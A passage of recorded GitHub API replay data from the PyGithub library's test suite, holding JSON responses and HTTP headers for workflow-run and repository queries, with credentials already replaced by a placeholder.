Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}},{"id":110278769,"node_id":"MDExOldvcmtmbG93UnVuMTEwMjc4NzY5","head_branch":"pullrequestreview-no-url","head_sha":"ef40c4de3ff77337de4bebe452e70df8aa506d66","run_number":118,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110278769","pull_requests":[],"created_at":"2020-05-20T10:24:53Z","updated_at":"2020-05-20T10:27:13Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/699594718","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"ef40c4de3ff77337de4bebe452e70df8aa506d66","tree_id":"d99513af91eed5a16ea4c1fedaaa476487bcb385","message":"PullRequestReview is not a completable object\n\nWhile chasing coverage failures, I discovered PullRequestReview's do not\nsend back a URL at all, which means firstly, the url property is not\nrequired because it will always be None, and secondly, the object can\nnever be completed. I'm not certain why this change broke the test, but\nit looked brittle, refactor it to be clearer.","timestamp":"2020-05-20T10:23:54Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetWorkflowRunsCreated.txt0000644000175100001660000005200714756101563026413 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 12:09:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"afad6da141600197f48648aea815caa9122a7a21d2ffd08a9f1f88f71fcefce6"'), ('Last-Modified', 'Thu, 01 Feb 2024 11:21:11 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-02-23 19:07:32 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1706792982'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B621:D6070:4412ACB:44D2A3D:65BB8A06')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-02-01T11:21:11Z","pushed_at":"2024-02-01T11:03:04Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15666,"stargazers_count":6506,"watchers_count":6506,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1719,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":275,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1719,"open_issues":275,"watchers":6506,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1719,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/actions/runs?created=2022-12-24 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 12:09:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"de506f1de78297cd93346ec22d4d061f087a4dddaa4aa5241faabc18ee3cc923"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-02-23 19:07:32 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1706792982'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B622:2C9777:B82985F:BA03798:65BB8A06')] {"total_count":1,"workflow_runs":[{"id":3770390952,"name":"CI","node_id":"WFR_kwLOADYVqs7gu5mo","head_branch":"patch-1","head_sha":"84e26cfaa0eede8179f34272f03afa28d76a07a7","path":".github/workflows/ci.yml","display_title":"CI: Update action actions/setup-python","run_number":916,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10039322119,"check_suite_node_id":"CS_kwDOADYVqs8AAAACVmPmBw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3770390952","pull_requests":[],"created_at":"2022-12-24T07:29:12Z","updated_at":"2024-01-29T23:29:45Z","actor":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-12-24T07:29:12Z","triggering_actor":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"